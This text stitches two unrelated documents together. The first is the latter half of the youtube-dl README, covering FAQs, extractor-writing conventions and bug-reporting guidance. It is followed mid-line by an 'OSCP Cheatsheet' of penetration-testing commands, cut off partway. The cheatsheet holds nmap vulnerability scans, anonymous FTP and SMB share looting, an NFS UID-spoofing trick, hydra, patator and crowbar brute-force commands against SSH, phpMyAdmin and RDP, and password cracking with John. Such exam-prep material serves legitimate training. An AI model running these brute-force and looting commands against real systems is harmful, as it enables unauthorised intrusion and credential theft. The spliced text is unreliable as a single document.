ffmpeg/youtube-dl each handle some invalid cases better than the other, there is an option to switch the downloader if needed. When youtube-dl knows that one particular downloader works better for a given website, that downloader will be picked. Otherwise, youtube-dl will pick the best downloader for general compatibility, which at the moment happens to be ffmpeg. This choice may change in future versions of youtube-dl, with improvements of the built-in downloader and/or ffmpeg. In particular, the generic extractor (used when your website is not in the [list of supported sites by youtube-dl](https://ytdl-org.github.io/youtube-dl/supportedsites.html) cannot mandate one specific downloader. If you put either `--hls-prefer-native` or `--hls-prefer-ffmpeg` into your configuration, a different subset of videos will fail to download correctly. Instead, it is much better to [file an issue](https://yt-dl.org/bug) or a pull request which details why the native or the ffmpeg HLS downloader is a better choice for your use case. ### Can you add support for this anime video site, or site which shows current movies for free? As a matter of policy (as well as legality), youtube-dl does not include support for services that specialize in infringing copyright. As a rule of thumb, if you cannot easily find a video that the service is quite obviously allowed to distribute (i.e. that has been uploaded by the creator, the creator's distributor, or is published under a free license), the service is probably unfit for inclusion to youtube-dl. A note on the service that they don't host the infringing content, but just link to those who do, is evidence that the service should **not** be included into youtube-dl. The same goes for any DMCA note when the whole front page of the service is filled with videos they are not allowed to distribute. A "fair use" note is equally unconvincing if the service shows copyright-protected videos in full without authorization. Support requests for services that **do** purchase the rights to distribute their content are perfectly fine though. If in doubt, you can simply include a source that mentions the legitimate purchase of content. ### How can I speed up work on my issue? (Also known as: Help, my important issue not being solved!) The youtube-dl core developer team is quite small. While we do our best to solve as many issues as possible, sometimes that can take quite a while. To speed up your issue, here's what you can do: First of all, please do report the issue [at our issue tracker](https://yt-dl.org/bugs). That allows us to coordinate all efforts by users and developers, and serves as a unified point. Unfortunately, the youtube-dl project has grown too large to use personal email as an effective communication channel. Please read the [bug reporting instructions](#bugs) below. A lot of bugs lack all the necessary information. If you can, offer proxy, VPN, or shell access to the youtube-dl developers. If you are able to, test the issue from multiple computers in multiple countries to exclude local censorship or misconfiguration issues. If nobody is interested in solving your issue, you are welcome to take matters into your own hands and submit a pull request (or coerce/pay somebody else to do so). Feel free to bump the issue from time to time by writing a small comment ("Issue is still present in youtube-dl version ...from France, but fixed from Belgium"), but please not more than once a month. Please do not declare your issue as `important` or `urgent`. ### How can I detect whether a given URL is supported by youtube-dl? For one, have a look at the [list of supported sites](docs/supportedsites.md). Note that it can sometimes happen that the site changes its URL scheme (say, from https://example.com/video/1234567 to https://example.com/v/1234567 ) and youtube-dl reports an URL of a service in that list as unsupported. In that case, simply report a bug. It is *not* possible to detect whether a URL is supported or not. That's because youtube-dl contains a generic extractor which matches **all** URLs. You may be tempted to disable, exclude, or remove the generic extractor, but the generic extractor not only allows users to extract videos from lots of websites that embed a video from another service, but may also be used to extract video from a service that it's hosting itself. Therefore, we neither recommend nor support disabling, excluding, or removing the generic extractor. If you want to find out whether a given URL is supported, simply call youtube-dl with it. If you get no videos back, chances are the URL is either not referring to a video or unsupported. You can find out which by examining the output (if you run youtube-dl on the console) or catching an `UnsupportedError` exception if you run it from a Python program. # Why do I need to go through that much red tape when filing bugs? Before we had the issue template, despite our extensive [bug reporting instructions](#bugs), about 80% of the issue reports we got were useless, for instance because people used ancient versions hundreds of releases old, because of simple syntactic errors (not in youtube-dl but in general shell usage), because the problem was already reported multiple times before, because people did not actually read an error message, even if it said "please install ffmpeg", because people did not mention the URL they were trying to download and many more simple, easy-to-avoid problems, many of whom were totally unrelated to youtube-dl. youtube-dl is an open-source project manned by too few volunteers, so we'd rather spend time fixing bugs where we are certain none of those simple problems apply, and where we can be reasonably confident to be able to reproduce the issue without asking the reporter repeatedly. As such, the output of `youtube-dl -v YOUR_URL_HERE` is really all that's required to file an issue. The issue template also guides you through some basic steps you can do, such as checking that your version of youtube-dl is current. # DEVELOPER INSTRUCTIONS Most users do not need to build youtube-dl and can [download the builds](https://ytdl-org.github.io/youtube-dl/download.html) or get them from their distribution. To run youtube-dl as a developer, you don't need to build anything either. Simply execute python -m youtube_dl To run the test, simply invoke your favorite test runner, or execute a test file directly; any of the following work: python -m unittest discover python test/test_download.py nosetests See item 6 of [new extractor tutorial](#adding-support-for-a-new-site) for how to run extractor specific test cases. If you want to create a build of youtube-dl yourself, you'll need * python * make (only GNU make is supported) * pandoc * zip * nosetests ### Adding support for a new site If you want to add support for a new site, first of all **make sure** this site is **not dedicated to [copyright infringement](README.md#can-you-add-support-for-this-anime-video-site-or-site-which-shows-current-movies-for-free)**. youtube-dl does **not support** such sites thus pull requests adding support for them **will be rejected**. After you have ensured this site is distributing its content legally, you can follow this quick list (assuming your service is called `yourextractor`): 1. [Fork this repository](https://github.com/ytdl-org/youtube-dl/fork) 2. Check out the source code with: git clone [email protected]:YOUR_GITHUB_USERNAME/youtube-dl.git 3. Start a new git branch with cd youtube-dl git checkout -b yourextractor 4. Start with this simple template and save it to `youtube_dl/extractor/yourextractor.py`: ```python # coding: utf-8 from __future__ import unicode_literals from .common import InfoExtractor class YourExtractorIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?yourextractor\.com/watch/(?P<id>[0-9]+)' _TEST = { 'url': 'https://yourextractor.com/watch/42', 'md5': 'TODO: md5 sum of the first 10241 bytes of the video file (use --test)', 'info_dict': { 'id': '42', 'ext': 'mp4', 'title': 'Video title goes here', 'thumbnail': r're:^https?://.*\.jpg$', # TODO more properties, either as: # * A value # * MD5 checksum; start the string with md5: # * A regular expression; start the string with re: # * Any Python type (for example int or float) } } def _real_extract(self, url): video_id = self._match_id(url) webpage = self._download_webpage(url, video_id) # TODO more code goes here, for example ... title = self._html_search_regex(r'<h1>(.+?)</h1>', webpage, 'title') return { 'id': video_id, 'title': title, 'description': self._og_search_description(webpage), 'uploader': self._search_regex(r'<div[^>]+id="uploader"[^>]*>([^<]+)<', webpage, 'uploader', fatal=False), # TODO more properties (see youtube_dl/extractor/common.py) } ``` 5. Add an import in [`youtube_dl/extractor/extractors.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/extractors.py). 6. Run `python test/test_download.py TestDownload.test_YourExtractor`. This *should fail* at first, but you can continually re-run it until you're done. If you decide to add more than one test, then rename ``_TEST`` to ``_TESTS`` and make it into a list of dictionaries. The tests will then be named `TestDownload.test_YourExtractor`, `TestDownload.test_YourExtractor_1`, `TestDownload.test_YourExtractor_2`, etc. Note that tests with `only_matching` key in test's dict are not counted in. 7. Have a look at [`youtube_dl/extractor/common.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/common.py) for possible helper methods and a [detailed description of what your extractor should and may return](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L94-L303). Add tests and code for as many as you want. 8. Make sure your code follows [youtube-dl coding conventions](#youtube-dl-coding-conventions) and check the code with [flake8](https://flake8.pycqa.org/en/latest/index.html#quickstart): $ flake8 youtube_dl/extractor/yourextractor.py 9. Make sure your code works under all [Python](https://www.python.org/) versions claimed supported by youtube-dl, namely 2.6, 2.7, and 3.2+. 10. When the tests pass, [add](https://git-scm.com/docs/git-add) the new files and [commit](https://git-scm.com/docs/git-commit) them and [push](https://git-scm.com/docs/git-push) the result, like this: $ git add youtube_dl/extractor/extractors.py $ git add youtube_dl/extractor/yourextractor.py $ git commit -m '[yourextractor] Add new extractor' $ git push origin yourextractor 11. Finally, [create a pull request](https://help.github.com/articles/creating-a-pull-request). We'll then review and merge it. In any case, thank you very much for your contributions! ## youtube-dl coding conventions This section introduces a guide lines for writing idiomatic, robust and future-proof extractor code. Extractors are very fragile by nature since they depend on the layout of the source data provided by 3rd party media hosters out of your control and this layout tends to change. As an extractor implementer your task is not only to write code that will extract media links and metadata correctly but also to minimize dependency on the source's layout and even to make the code foresee potential future changes and be ready for that. This is important because it will allow the extractor not to break on minor layout changes thus keeping old youtube-dl versions working. Even though this breakage issue is easily fixed by emitting a new version of youtube-dl with a fix incorporated, all the previous versions become broken in all repositories and distros' packages that may not be so prompt in fetching the update from us. Needless to say, some non rolling release distros may never receive an update at all. ### Mandatory and optional metafields For extraction to work youtube-dl relies on metadata your extractor extracts and provides to youtube-dl expressed by an [information dictionary](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L94-L303) or simply *info dict*. Only the following meta fields in the *info dict* are considered mandatory for a successful extraction process by youtube-dl: - `id` (media identifier) - `title` (media title) - `url` (media download URL) or `formats` In fact only the last option is technically mandatory (i.e. if you can't figure out the download location of the media the extraction does not make any sense). But by convention youtube-dl also treats `id` and `title` as mandatory. Thus the aforementioned metafields are the critical data that the extraction does not make any sense without and if any of them fail to be extracted then the extractor is considered completely broken. [Any field](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L188-L303) apart from the aforementioned ones are considered **optional**. That means that extraction should be **tolerant** to situations when sources for these fields can potentially be unavailable (even if they are always available at the moment) and **future-proof** in order not to break the extraction of general purpose mandatory fields. #### Example Say you have some source dictionary `meta` that you've fetched as JSON with HTTP request and it has a key `summary`: ```python meta = self._download_json(url, video_id) ``` Assume at this point `meta`'s layout is: ```python { ... "summary": "some fancy summary text", ... } ``` Assume you want to extract `summary` and put it into the resulting info dict as `description`. Since `description` is an optional meta field you should be ready that this key may be missing from the `meta` dict, so that you should extract it like: ```python description = meta.get('summary') # correct ``` and not like: ```python description = meta['summary'] # incorrect ``` The latter will break extraction process with `KeyError` if `summary` disappears from `meta` at some later time but with the former approach extraction will just go ahead with `description` set to `None` which is perfectly fine (remember `None` is equivalent to the absence of data). Similarly, you should pass `fatal=False` when extracting optional data from a webpage with `_search_regex`, `_html_search_regex` or similar methods, for instance: ```python description = self._search_regex( r'<span[^>]+id="title"[^>]*>([^<]+)<', webpage, 'description', fatal=False) ``` With `fatal` set to `False` if `_search_regex` fails to extract `description` it will emit a warning and continue extraction. You can also pass `default=<some fallback value>`, for example: ```python description = self._search_regex( r'<span[^>]+id="title"[^>]*>([^<]+)<', webpage, 'description', default=None) ``` On failure this code will silently continue the extraction with `description` set to `None`. That is useful for metafields that may or may not be present. ### Provide fallbacks When extracting metadata try to do so from multiple sources. For example if `title` is present in several places, try extracting from at least some of them. This makes it more future-proof in case some of the sources become unavailable. #### Example Say `meta` from the previous example has a `title` and you are about to extract it. Since `title` is a mandatory meta field you should end up with something like: ```python title = meta['title'] ``` If `title` disappears from `meta` in future due to some changes on the hoster's side the extraction would fail since `title` is mandatory. That's expected. Assume that you have some another source you can extract `title` from, for example `og:title` HTML meta of a `webpage`. In this case you can provide a fallback scenario: ```python title = meta.get('title') or self._og_search_title(webpage) ``` This code will try to extract from `meta` first and if it fails it will try extracting `og:title` from a `webpage`. ### Regular expressions #### Don't capture groups you don't use Capturing group must be an indication that it's used somewhere in the code. Any group that is not used must be non capturing. ##### Example Don't capture id attribute name here since you can't use it for anything anyway. Correct: ```python r'(?:id|ID)=(?P<id>\d+)' ``` Incorrect: ```python r'(id|ID)=(?P<id>\d+)' ``` #### Make regular expressions relaxed and flexible When using regular expressions try to write them fuzzy, relaxed and flexible, skipping insignificant parts that are more likely to change, allowing both single and double quotes for quoted values and so on. ##### Example Say you need to extract `title` from the following HTML code: ```html <span style="position: absolute; left: 910px; width: 90px; float: right; z-index: 9999;" class="title">some fancy title</span> ``` The code for that task should look similar to: ```python title = self._search_regex( r'<span[^>]+class="title"[^>]*>([^<]+)', webpage, 'title') ``` Or even better: ```python title = self._search_regex( r'<span[^>]+class=(["\'])title\1[^>]*>(?P<title>[^<]+)', webpage, 'title', group='title') ``` Note how you tolerate potential changes in the `style` attribute's value or switch from using double quotes to single for `class` attribute: The code definitely should not look like: ```python title = self._search_regex( r'<span style="position: absolute; left: 910px; width: 90px; float: right; z-index: 9999;" class="title">(.*?)</span>', webpage, 'title', group='title') ``` ### Long lines policy There is a soft limit to keep lines of code under 80 characters long. This means it should be respected if possible and if it does not make readability and code maintenance worse. For example, you should **never** split long string literals like URLs or some other often copied entities over multiple lines to fit this limit: Correct: ```python 'https://www.youtube.com/watch?v=FqZTN594JQw&list=PLMYEtVRpaqY00V9W81Cwmzp6N6vZqfUKD4' ``` Incorrect: ```python 'https://www.youtube.com/watch?v=FqZTN594JQw&list=' 'PLMYEtVRpaqY00V9W81Cwmzp6N6vZqfUKD4' ``` ### Inline values Extracting variables is acceptable for reducing code duplication and improving readability of complex expressions. However, you should avoid extracting variables used only once and moving them to opposite parts of the extractor file, which makes reading the linear flow difficult. #### Example Correct: ```python title = self._html_search_regex(r'<title>([^<]+)</title>', webpage, 'title') ``` Incorrect: ```python TITLE_RE = r'<title>([^<]+)</title>' # ...some lines of code... title = self._html_search_regex(TITLE_RE, webpage, 'title') ``` ### Collapse fallbacks Multiple fallback values can quickly become unwieldy. Collapse multiple fallback values into a single expression via a list of patterns. #### Example Good: ```python description = self._html_search_meta( ['og:description', 'description', 'twitter:description'], webpage, 'description', default=None) ``` Unwieldy: ```python description = ( self._og_search_description(webpage, default=None) or self._html_search_meta('description', webpage, default=None) or self._html_search_meta('twitter:description', webpage, default=None)) ``` Methods supporting list of patterns are: `_search_regex`, `_html_search_regex`, `_og_search_property`, `_html_search_meta`. ### Trailing parentheses Always move trailing parentheses after the last argument. #### Example Correct: ```python lambda x: x['ResultSet']['Result'][0]['VideoUrlSet']['VideoUrl'], list) ``` Incorrect: ```python lambda x: x['ResultSet']['Result'][0]['VideoUrlSet']['VideoUrl'], list, ) ``` ### Use convenience conversion and parsing functions Wrap all extracted numeric data into safe functions from [`youtube_dl/utils.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/utils.py): `int_or_none`, `float_or_none`. Use them for string to number conversions as well. Use `url_or_none` for safe URL processing. Use `try_get` for safe metadata extraction from parsed JSON. Use `unified_strdate` for uniform `upload_date` or any `YYYYMMDD` meta field extraction, `unified_timestamp` for uniform `timestamp` extraction, `parse_filesize` for `filesize` extraction, `parse_count` for count meta fields extraction, `parse_resolution`, `parse_duration` for `duration` extraction, `parse_age_limit` for `age_limit` extraction. Explore [`youtube_dl/utils.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/utils.py) for more useful convenience functions. #### More examples ##### Safely extract optional description from parsed JSON ```python description = try_get(response, lambda x: x['result']['video'][0]['summary'], compat_str) ``` ##### Safely extract more optional metadata ```python video = try_get(response, lambda x: x['result']['video'][0], dict) or {} description = video.get('summary') duration = float_or_none(video.get('durationMs'), scale=1000) view_count = int_or_none(video.get('views')) ``` # EMBEDDING YOUTUBE-DL youtube-dl makes the best effort to be a good command-line program, and thus should be callable from any programming language. If you encounter any problems parsing its output, feel free to [create a report](https://github.com/ytdl-org/youtube-dl/issues/new). From a Python program, you can embed youtube-dl in a more powerful fashion, like this: ```python from __future__ import unicode_literals import youtube_dl ydl_opts = {} with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc']) ``` Most likely, you'll want to use various options. For a list of options available, have a look at [`youtube_dl/YoutubeDL.py`](https://github.com/ytdl-org/youtube-dl/blob/3e4cedf9e8cd3157df2457df7274d0c842421945/youtube_dl/YoutubeDL.py#L137-L312). For a start, if you want to intercept youtube-dl's output, set a `logger` object. Here's a more complete example of a program that outputs only errors (and a short message after the download is finished), and downloads/converts the video to an mp3 file: ```python from __future__ import unicode_literals import youtube_dl class MyLogger(object): def debug(self, msg): pass def warning(self, msg): pass def error(self, msg): print(msg) def my_hook(d): if d['status'] == 'finished': print('Done downloading, now converting ...') ydl_opts = { 'format': 'bestaudio/best', 'postprocessors': [{ 'key': 'FFmpegExtractAudio', 'preferredcodec': 'mp3', 'preferredquality': '192', }], 'logger': MyLogger(), 'progress_hooks': [my_hook], } with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc']) ``` # BUGS Bugs and suggestions should be reported at: <https://github.com/ytdl-org/youtube-dl/issues>. Unless you were prompted to or there is another pertinent reason (e.g. GitHub fails to accept the bug report), please do not send bug reports via personal email. For discussions, join us in the IRC channel [#youtube-dl](irc://chat.freenode.net/#youtube-dl) on freenode ([webchat](https://webchat.freenode.net/?randomnick=1&channels=youtube-dl)). **Please include the full output of youtube-dl when run with `-v`**, i.e. **add** `-v` flag to **your command line**, copy the **whole** output and post it in the issue body wrapped in \`\`\` for better formatting. It should look similar to this: ``` $ youtube-dl -v <your command line> [debug] System config: [] [debug] User config: [] [debug] Command-line args: [u'-v', u'https://www.youtube.com/watch?v=BaW_jenozKcj'] [debug] Encodings: locale cp1251, fs mbcs, out cp866, pref cp1251 [debug] youtube-dl version 2015.12.06 [debug] Git HEAD: 135392e [debug] Python version 2.6.6 - Windows-2003Server-5.2.3790-SP2 [debug] exe versions: ffmpeg N-75573-g1d0487f, ffprobe N-75573-g1d0487f, rtmpdump 2.4 [debug] Proxy map: {} ... ``` **Do not post screenshots of verbose logs; only plain text is acceptable.** The output (including the first lines) contains important debugging information. Issues without the full output are often not reproducible and therefore do not get solved in short order, if ever. Please re-read your issue once again to avoid a couple of common mistakes (you can and should use this as a checklist): ### Is the description of the issue itself sufficient? We often get issue reports that we cannot really decipher. While in most cases we eventually get the required information after asking back multiple times, this poses an unnecessary drain on our resources. Many contributors, including myself, are also not native speakers, so we may misread some parts. So please elaborate on what feature you are requesting, or what bug you want to be fixed. Make sure that it's obvious - What the problem is - How it could be fixed - How your proposed solution would look like If your report is shorter than two lines, it is almost certainly missing some of these, which makes it hard for us to respond to it. We're often too polite to close the issue outright, but the missing info makes misinterpretation likely. As a committer myself, I often get frustrated by these issues, since the only possible way for me to move forward on them is to ask for clarification over and over. For bug reports, this means that your report should contain the *complete* output of youtube-dl when called with the `-v` flag. The error message you get for (most) bugs even says so, but you would not believe how many of our bug reports do not contain this information. If your server has multiple IPs or you suspect censorship, adding `--call-home` may be a good idea to get more diagnostics. If the error is `ERROR: Unable to extract ...` and you cannot reproduce it from multiple countries, add `--dump-pages` (warning: this will yield a rather large output, redirect it to the file `log.txt` by adding `>log.txt 2>&1` to your command-line) or upload the `.dump` files you get when you add `--write-pages` [somewhere](https://gist.github.com/). **Site support requests must contain an example URL**. An example URL is a URL you might want to download, like `https://www.youtube.com/watch?v=BaW_jenozKc`. There should be an obvious video present. Except under very special circumstances, the main page of a video service (e.g. `https://www.youtube.com/`) is *not* an example URL. ### Are you using the latest version? Before reporting any issue, type `youtube-dl -U`. This should report that you're up-to-date. About 20% of the reports we receive are already fixed, but people are using outdated versions. This goes for feature requests as well. ### Is the issue already documented? Make sure that someone has not already opened the issue you're trying to open. Search at the top of the window or browse the [GitHub Issues](https://github.com/ytdl-org/youtube-dl/search?type=Issues) of this repository. If there is an issue, feel free to write something along the lines of "This affects me as well, with version 2015.01.01. Here is some more information on the issue: ...". While some issues may be old, a new post into them often spurs rapid activity. ### Why are existing options not enough? Before requesting a new feature, please have a quick peek at [the list of supported options](https://github.com/ytdl-org/youtube-dl/blob/master/README.md#options). Many feature requests are for features that actually exist already! Please, absolutely do show off your work in the issue report and detail how the existing similar options do *not* solve your problem. ### Is there enough context in your bug report? People want to solve problems, and often think they do us a favor by breaking down their larger problems (e.g. wanting to skip already downloaded files) to a specific request (e.g. requesting us to look whether the file exists before downloading the info page). However, what often happens is that they break down the problem into two steps: One simple, and one impossible (or extremely complicated one). We are then presented with a very complicated request when the original problem could be solved far easier, e.g. by recording the downloaded video IDs in a separate file. To avoid this, you must include the greater context where it is non-obvious. In particular, every feature request that does not consist of adding support for a new site should contain a use case scenario that explains in what situation the missing feature would be useful. ### Does the issue involve one problem, and one problem only? Some of our users seem to think there is a limit of issues they can or should open. There is no limit of issues they can or should open. While it may seem appealing to be able to dump all your issues into one ticket, that means that someone who solves one of your issues cannot mark the issue as closed. Typically, reporting a bunch of issues leads to the ticket lingering since nobody wants to attack that behemoth, until someone mercifully splits the issue into multiple ones. In particular, every site support request issue should only pertain to services at one site (generally under a common domain, but always using the same backend technology). Do not request support for vimeo user videos, White house podcasts, and Google Plus pages in the same issue. Also, make sure that you don't post bug reports alongside feature requests. As a rule of thumb, a feature request does not include outputs of youtube-dl that are not immediately related to the feature at hand. Do not post reports of a network error alongside the request for a new video service. ### Is anyone going to need the feature? Only post features that you (or an incapacitated friend you can personally talk to) require. Do not post features because they seem like a good idea. If they are really useful, they will be requested by someone who requires them. ### Is your question about youtube-dl? It may sound strange, but some bug reports we receive are completely unrelated to youtube-dl and relate to a different, or even the reporter's own, application. Please make sure that you are actually using youtube-dl. If you are using a UI for youtube-dl, report the bug to the maintainer of the actual application providing the UI. On the other hand, if your UI for youtube-dl fails in some way you believe is related to youtube-dl, by all means, go ahead and report the bug. # COPYRIGHT youtube-dl is released into the public domain by the copyright holders. This README file was originally written by [Daniel Bolton](https://github.com/dbbolton) and is likewise released into the public domain.
## OSCP Cheatsheet **Author:** Victor Fernandez III ### Table of Contents | [Enumeration](#enumeration) | [Gaining Access](#gaining-access) | [Maintaining Access](#maintaining-access) | | --------------------------------- | --------------------------- | ----------------------------------------- | | [FTP](#ftp) | [Default Credentials](#default-credentials) | [Python Bind Shell](#python-bind-shell) | | [SSH](#ssh) | [Hydra](#hydra) | [Python Reverse Shell](#python-reverse-shell) | | [SMTP](#smtp) | [Patator](#patator) | [Bash Reverse Shells](#bash-reverse-shells) | | [HTTP](#http) | [Crowbar](#crowbar) | [MSFVenom Reverse Shells](#msfvenom-reverse-shells) | | [POP3](#pop3) | [John the Ripper](#john-the-ripper)| [Netcat Reverse Shells](#netcat-reverse-shells) | | [RPC](#rpc) | [Hashcat](#hashcat) | [PowerShell Reverse Shell](#powershell-reverse-shell) | | [NetBIOS](#netbios) | [Local File Inclusions](#local-file-inclusions) | [JavaScript Reverse Shell](#javascript-reverse-shell) | | [SMB](#smb) | [MS09-050](#ms09-050) | [Information to Gather for Privilege Escalation](#information-to-gather-for-privilege-escalation) | | [Rsync](#rsync) | [EternalBlue](#eternalblue) | [Linux Privilege Escalation](#linux-privilege-escalation) | | [NFS](#nfs) | [SambaCry](#sambacry) | [Windows Privilege Escalation](#windows-privilege-escalation) | | [SQL](#sql) | [ShellShock via SMTP](#shellshock-via-smtp) | [Juicy Potato](#juicy-potato) | | [RDP](#rdp) | [SQL Injection](#sql-injection)| [Persistence](#persistence) | | [Postgres](#postgres) || | [WinRM](#winrm) || | [IRC](#irc) || ### Enumeration The purpose of the Enumeration phase is to narrow-down the number of possible attack vectors by querying computers within scope and collecting additional information. For your report, summarize open ports, running services, and Operating Systems (OS) in use in a table similar to the one below. | IP Address | Ports | Services | OS | | ---------- | ----- | -------- | --- | | 10.11.12.13 | 445 | SMB | Windows 10 | | 10.11.12.23 | 25 | SMTP | Debian Linux | | 10.11.12.25 | 2049 | NFS | FreeBSD | | 10.11.12.69 | 22 | SSH | Fedora Linux | | 10.11.12.123 | 80 | HTTP | Windows Server 2012 R2 | #### Ports Declare a variable using the IP address of the target. ```bash TARGET=10.11.12.13 ``` Scan the 1,000 most common ports. ```bash sudo nmap $TARGET -sS -sU -oN scans/$TARGET-nmap-initial ``` Scan all ports. ```bash sudo nmap $TARGET -sS -sU -p- -oN scans/$TARGET-nmap-complete ``` #### Services | Port | Service | Provides | | ---- | -------- | -------- | | 21 | FTP | Credentials, File upload | | 22 | SSH | Remote access | | 25 | SMTP | Code execution, Credentials | | 80 | HTTP | Code execution, Credentials | | 110 | POP3 | Code execution, Credentials | | 111 | NFS | Credentials | | 135 | RPC | Enumeration | | 445 | SMB | Credentials, Remote access | | 873 | Rsync | File upload | | 6667 | IRC | Credentials | #### Versions ```bash sudo nmap $TARGET -sV -sC $(print-open-ports-from-nmap-scan scans/$TARGET-nmap-complete) -oN scans/$TARGET-nmap-versions ``` #### Operating System ```bash sudo nmap $TARGET -O -oN scans/$NAME-nmap-os ``` #### FTP TCP port 21. I recommend creating and changing directories to a folder called "loot." It's important to stay organized (and you never know when there's something to download). ```bash mkdir loot cd loot ``` Create a file to test your ability to upload. ```bash touch poo.txt ``` Login (try using anonymous:anonymous, anonymous:password, guest:guest, etc.). ```bash ftp $TARGET 21 ``` List files. ```bash ls ``` List files (using Curl). ```bash curl ftp://anonymous:anonymous@$TARGET:21 ``` Change to Binary mode (an important setting if you're uploading/downloading binary files like pictures and/or executables!). ```bash binary ``` Download a file. ```bash get file.txt ``` Download all files. ```bash mget * ``` Download all files to the current directory (using Wget). ```bash wget -m ftp://anonymous:anonymous@$TARGET:21 -nd ``` Upload a file. ```bash put poo.txt ``` End a FTP session. ```bash exit ``` #### SSH TCP port 22. ```bash hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.11.12.13 ``` #### SMTP TCP port 25. ```bash telnet $TARGET 25 HELO VRFY root QUIT ``` ```bash sudo nmap $TARGET -p25 --script smtp-commands -oN scans/$TARGET-nmap-scripts-smtp-commands ``` ```bash sudo nmap $TARGET -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -oN scans/$TARGET-nmap-scripts-smtp-enum-users ``` ```bash smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $TARGET ``` ```bash sudo nmap $TARGET -p25 --script smtp-vuln* -oN scans/mailman-nmap-scripts-smtp-vuln ``` #### HTTP TCP port 80. ```bash dirb http://$TARGET dirb http://$TARGET:$PORT/ -o scans/$TARGET-dirb-$PORT-common dirb http://$TARGET:80 /usr/share/wordlists/dirb/big.txt -z10 -o scans/$NAME-dirb-big-80 ``` ```bash dirsearch -u $TARGET:$PORT -o $FULLPATH/$NAME-dirsearch-80 ``` Nikto Tuning (-T) Options ```bash 0 – File Upload 1 – Interesting File / Seen in logs 2 – Misconfiguration / Default File 3 – Information Disclosure 4 – Injection (XSS/Script/HTML) 5 – Remote File Retrieval – Inside Web Root 6 – Denial of Service 7 – Remote File Retrieval – Server Wide 8 – Command Execution / Remote Shell 9 – SQL Injection a – Authentication Bypass b – Software Identification c – Remote Source Inclusion x – Reverse Tuning Options (i.e., include all except specified) ``` Scan for misconfigurations. ```bash nikto -h $TARGET -T 2 -Format txt -o scans/$TARGET-nikto-80-misconfig ``` Scan for SQL injection vulnerabilities. ```bash nikto -h $TARGET -T 9 -Format txt -o scans/$TARGET-nikto-80-sqli ``` Check if the target is vulnerable to Shellshock ```bash sudo nmap $TARGET -p80 --script http-shellshock -oN scans/$TARGET-nmap-scripts-80-http-shellshock ``` #### POP3 TCP port 110. ```bash telnet $TARGET 110 USER root PASS root RETR 1 QUIT ``` #### RPC TCP port 135. ```bash rpcclient -U '' $TARGET srvinfo netshareenum # print the real file-path of shares; good for accurate RCE ``` #### NetBIOS TCP port 139. ```bash nbtscan $TARGET ``` #### SMB TCP port 445. ```bash smbclient -L //$TARGET/ # list shares smbclient -L //$TARGET/ -p $PORT # specify non-standard SMB/Samba port ``` The SMB shares discovered have the following permissions. ```bash smbmap -H $TARGET smbmap -H $TARGET smbmap -H $TARGET -P $PORT ``` ```bash smbget -R smb://$TARGET/$SHARE smbget -R smb://$TARGET:$PORT/$SHARE ``` Download files. ```bash cd loot smbclient \\\\$TARGET\\$SHARE prompt mget * ``` ```bash # check if vulnerable to EternalBlue sudo nmap $TARGET -p445 --script smb-vuln-ms17-010 -oN scans/$NAME-nmap-scripts-smb-vuln-ms17-010 ``` ```bash # check if vulnerable to SambaCry sudo nmap $TARGET -p445 --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -oN scans/$NAME-nmap-scripts-smb-vuln-cve-2017-7494 ``` #### Rsync TCP port 873. ```bash sudo nmap $TARGET -p873 --script rsync-list-modules rsync -av rsync://$TARGET/$SHARE --list-only rsync -av rsync://$TARGET/$SHARE loot ``` #### NFS TCP port 2049. ```bash sudo nmap $TARGET -p111 --script-nfs* showmount -e $TARGET sudo mkdir /mnt/FOO sudo mount //$TARGET:/$SHARE /mnt/FOO sudo adduser demo sudo sed -i -e 's/1001/5050/g' /etc/passwd cat /mnt/FOO/loot.txt ``` #### SQL TCP port 3306. ```bash mysql -u $USER -h $TARGET ``` #### RDP TCP port 3389. ```bash sudo nmap $TARGET -p3389 --script rdp-ntlm-info -oN scans/$NAME-nmap-scripts-rdp-ntlm-info ``` ```bash rdesktop -u administrator $TARGET ``` #### Postgres TCP port 5437. ```bash psql -U postgres -p 5437 -h $TARGET # postgres:postgres SELECT pg_ls_dir('/'); ``` #### WinRM TCP port 5985 ```bash evil-winrm -u $USER -p $PASSWORD -i $TARGET ``` #### IRC TCP port 6667. ```bash irssi -c $TARGET -p $PORT ``` ### Gaining Access #### Default Credentials ```bash # anonymous:anonymous # guest:guest # admin:admin # admin:adminadmin ``` #### Hydra ```bash hydra -l root -P /usr/share/wordlists/rockyou.txt $TARGET -t4 ssh ``` ```bash hydra -l root -P /usr/share/wordlists/rockyou.txt $TARGET http-post-form "/phpmyadmin/index.php?:pma_username=^USER^&pma_password=^PASS^:Cannot|without" ``` #### Patator ```bash patator ftp_login host=$TARGET user=$USER password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 ``` ```bash patator http_fuzz url=http://$TARGET/$LOGIN method=POST body='username=FILE0&password=FILE1' 0=usernames.txt 1=/usr/share/wordlists/rockyout.txt -x ignore:fgrep=Unauthorized ``` #### Crowbar ```bash sudo apt install crowbar # version 0.4.1 iconv -f ISO-8859-1 -t UTF-8 /usr/share/wordlists/rockyou.txt > ./rockyou-UTF8.txt crowbar -b rdp -s $TARGET/32 -u administrator -C rockyou-UTF8.txt -n 1 ``` #### John the Ripper ```bash unshadow passwd.txt shadow.txt > unshadow.txt john unshadow.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` Password-protected RAR files. ```bash 